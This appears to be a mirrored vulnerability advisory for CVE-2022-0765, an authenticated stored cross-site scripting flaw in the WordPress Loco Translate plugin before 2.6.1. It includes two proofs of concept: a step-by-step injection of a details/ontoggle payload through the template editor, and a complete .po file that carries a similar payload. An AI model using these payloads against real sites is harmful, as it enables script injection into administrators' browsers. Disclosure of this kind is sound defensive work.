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WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability

๐Ÿ—“๏ธย 07 Apr 2022ย 00:00:00Reported byย Taurus OmarTypeย 
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ย zdt
๐Ÿ”—ย 0day.today๐Ÿ‘ย 234ย Views

WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability. Allows arbitrary javascript payloads in source strings leading to stored XSS

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Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting

References:
CVE-2022-0765

Author:
Taurus Omar 

Description:
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.

Affects Plugins:
loco-translate - Fixed in version 2.6.1

Proof of Concept:
## POC1: via (edit-template) 

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message 
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated


## POC2 via (example.po)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po

Example.po

msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <[emailย protected]>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr "" 

Classification:
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587

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07 Apr 2022 00:00Current
5.5Medium risk
Vulners AI Score5.5
EPSS0.001
234
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